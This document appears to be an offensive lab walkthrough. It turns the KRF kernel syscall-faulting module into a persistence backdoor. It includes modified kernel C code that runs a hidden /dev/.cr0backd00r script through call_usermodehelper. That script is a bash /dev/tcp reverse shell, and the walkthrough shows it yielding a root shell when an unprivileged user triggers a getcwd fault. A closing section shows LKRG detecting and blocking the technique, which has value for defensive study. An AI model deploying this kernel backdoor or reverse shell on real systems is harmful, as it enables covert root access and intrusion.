[KS] Randomized Faulter [RETIRED]
Kernel space Randomized Faulter (KRF) is a tool that rewrites the Linux/FreeBSD system call table. It consists of krfx kernel module, the krfctl userspace tool, some binary examples, and krfmesg which allows for logging a faulting status. When configured via krfctl, KRF replaces faultable syscalls with thin wrappers where we could inject our malicious code. Each wrapper then performs a check to see whether the call should be faulted using a configurable targeting system capable of targeting a specific personality(2), PID, UID, and/or GID. If the process shouldn't be faulted, the original syscall is invoked. In the end, the targeted call is faulted via a random failure function. For example, a getcwd() call might receive one of ERANGE, ENAMETOOLONG, EACCES, ENOMEM, EFAULT, ENOENT, and so on. Let's see how we could run this nice persistence technique against Linux boxes.
Specification
- Persistence
- Process Injection
- Linux
The exercise flow
1. Log in to your TST_X and set up the krf project and add a new temporary user:
# uname -a # git clone https://github.com/trailofbits/krf.git # cd krf # make # make install
# modinfo krfx filename: /lib/modules/4.18.0-305.3.1.el8.x86_64/extra/krfx.ko description: A Kernelspace Randomized Faulter author: William Woodruff <william@yossarian.net> license: GPL rhelversion: 8.4 srcversion: A94FB511CCEA458658FFCD7 depends: name: krfx vermagic: 4.18.0-305.3.1.el8.x86_64 SMP mod_unload modversions # modprobe krfx
# lsmod | grep krf krfx 606208 0 # dmesg | grep krf [347323.417888] krf 0.0.1 loaded # useradd -u 1100 -m -s /bin/bash vX
2. Great! We are ready for the next step. Let's see what functionality the krfctl tool offers:
# krfctl -h usage: krfctl <options> options: -h display this help message -F <syscall> [syscall...] fault the given syscalls -P <profile> fault the given syscall profile -c clear the syscall table of faulty calls -r <state> set the RNG state -p <prob> set the fault probability -L toggle faulty call logging -T <variable>=<value> enable targeting option <variable> with value <value> -C clear the targeting options targeting options: personality, PID, UID, GID, and INODE available profiles (for -P flag): net socket and network syscalls all every syscall supported by KRF fs filesystem interaction syscalls time time and clock syscalls mm memory management syscalls proc process and task management syscalls io general input/output syscalls ipc interprocess communication syscalls sys system configuration and state syscalls sched scheduling syscalls
3, Let's configure a getcwd() syscall as our target. We are looking for targeting a user with uid=1100 only, so the faulting actions will be restricted only to this unprivileged user:
# krfctl -F getcwd -T UID=1100
# krfctl -L
4. From the 2nd console on FUBU_X, switch to user vX user with uid=1100 and execute few times a getcwd binary which is stored in the examples directory:
cat example/getcwd.c #include "common.h" int main(int argc, char const *argv[]) { unsigned int i; char buf[4096]; for (i = 0;; i++) { if (i % 1000 == 0) { printf("iteration %u...\n", i); } if (getcwd(buf, sizeof(buf)) == NULL) { perror("fault!"); exit(errno); } } return 0; }
# cp example/getcwd /tmp # sudo su - vX $ /tmp/getcwd iteration 0... fault!: Cannot allocate memory $ /tmp/getcwd iteration 0... fault!: No such file or directory /tmp/getcwd iteration 0... iteration 1000... iteration 2000... fault!: Invalid argument /tmp/getcwd iteration 0... iteration 1000... iteration 2000... iteration 3000... fault!: Cannot allocate memory /tmp/getcwd iteration 0... iteration 1000... fault!: Bad address
5. Get back to the 1st console. You should find that krfmesg has got some output:
# krfmesg faulting getcwd with ENOMEM faulting getcwd with ENOENT faulting getcwd with EINVAL faulting getcwd with ENOMEM faulting getcwd with EFAULT
6. OK, so targeted faulting works as expected. Let's weaponize the kernel module. Our goal is to get the reverse shell connection whenever the targeted user triggers the getcwd fault with EFAULT. For this, we need to modify a function krf_sys_internal_getcwd_EFAULT() in src/module/linux/syscalls/getcwd.gen.c
static long krf_sys_internal_getcwd_EFAULT(char __user *buf, unsigned long size) { if (krf_log_faults) { KRF_LOG("faulting getcwd with EFAULT\n"); char * envp[] = { "HOME=/","PATH=/sbin:/usr/sbin:/bin:/usr/bin", NULL }; char * argv[] = { "/dev/.cr0backd00r", NULL }; int ret = 0; ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC); if (ret != 0) KRF_LOG("error in call to usermodehelper: %i\n", ret); else { KRF_LOG("Success: backdoor execution completed\n"); return 0; } } return -EFAULT; }
7. Don't forget to add also additional headers to the top of getcwd.gen.c:
#include "linux/kernel.h" #include "linux/module.h"
8. Recompile the project:
# rmmod krfx && make && make install
9. Create a /dev/.cr0backd00r file and paste simple one-liner that will be executed thanks to call_usermodehelper():
# vim /dev/.cr0backd00r #!/bin/bash bash -i >&/dev/tcp/127.0.0.1/4242 0>&1
10. Add executable bit to /dev/.cr0backd00r
# chmod +x /dev/.cr0backd00r
11. Now we are ready to set up local listener and execute the reverse shell:
# nc -vnlp 4242 Listening on [0.0.0.0] (family 0, port 4242)
13. Set up krf and run getcwd again:
# modprobe krfx # krfctl -F getcwd -T UID=1000 # krfctl -L # sudo su - vadminX $ cd /tmp $ ./getcwd ./getcwd iteration 0... iteration 1000... iteration 2000... iteration 3000... fault!: Cannot allocate memory $ ./getcwd iteration 0... iteration 1000... iteration 2000... fault!: Numerical result out of range
...
### 2nd console:
# krfmesg faulting getcwd with ENOMEM faulting getcwd with ENOENT faulting getcwd with EINVAL faulting getcwd with ENOMEM faulting getcwd with EFAULT Success: backdoor execution completed faulting getcwd with EFAULT Success: backdoor execution completed faulting getcwd with ERANGE
14. Success: backdoor execution completed. Get back to your listener. You should see a fresh uid=0 reverse shell that has been triggered by a normal user:
# nc -vnlp 4242 Listening on [0.0.0.0] (family 0, port 4242) Connection from 127.0.0.1 37456 received! bash: cannot set terminal process group (-1): Inappropriate ioctl for device bash: no job control in this shell root@student11:/# id id uid=0(root) gid=0(root) groups=0(root) root@student11:/# pwd pwd /
15. During the offensive research, I am always trying think also in blue, so naturally i thought how krf would behave for the LKRG kernel. You know I am big fan of the project, so here are the next steps:
# rmmod krfx # wget https://www.openwall.com/lkrg/lkrg-0.9.5.tar.gz # tar -zxvf lkrg-0.9.5.tar.gz # cd lkrg-0.9.5 # make # insmod ./lkrg.ko dmesg | tail [11374.034419] krf 0.0.1 unloaded [11381.922874] [p_lkrg] Loading LKRG... [11381.924948] [p_lkrg] System does NOT support SMEP. LKRG can't enforce SMEP validation :( [11381.927978] [p_lkrg] System does NOT support SMAP. LKRG can't enforce SMAP validation :( [11381.933703] Freezing user space processes ... (elapsed 0.003 seconds) done. [11381.936889] OOM killer disabled. [11381.937223] [p_lkrg] 6/25 UMH paths are allowed... [11382.373605] [p_lkrg] LKRG initialized successfully! [11382.374809] OOM killer enabled. [11382.374810] Restarting tasks ... done.
16. Then:
# modprobe krfx # krfctl -F getcwd -T UID=1000 # krfctl -L # krfmesg faulting getcwd with ENOMEM faulting getcwd with ENOENT faulting getcwd with EINVAL faulting getcwd with ENOMEM faulting getcwd with EFAULT error in call to usermodehelper: -13 # dmesg [ 378.871004] [p_lkrg] ALERT !!! _RODATA MEMORY BLOCK HASH IS DIFFERENT - it is [0x99a5157e6e1308a6] and should be [0xb4154ac0762f60fe] !!! [ 378.874783] [p_lkrg] ALERT !!! SYSTEM HAS BEEN COMPROMISED - DETECTED DIFFERENT 1 CHECKSUMS !!! [ 389.431694] faulting getcwd with ENOMEM [ 402.244541] faulting getcwd with ENOENT [ 402.928659] faulting getcwd with EINVAL [ 403.456416] faulting getcwd with ENOMEM [ 403.931416] faulting getcwd with EFAULT [ 403.932167] [p_lkrg] Blocked usermodehelper execution of [/dev/.cr0backd00r] [ 403.934634] error in call to usermodehelper: -13
Links: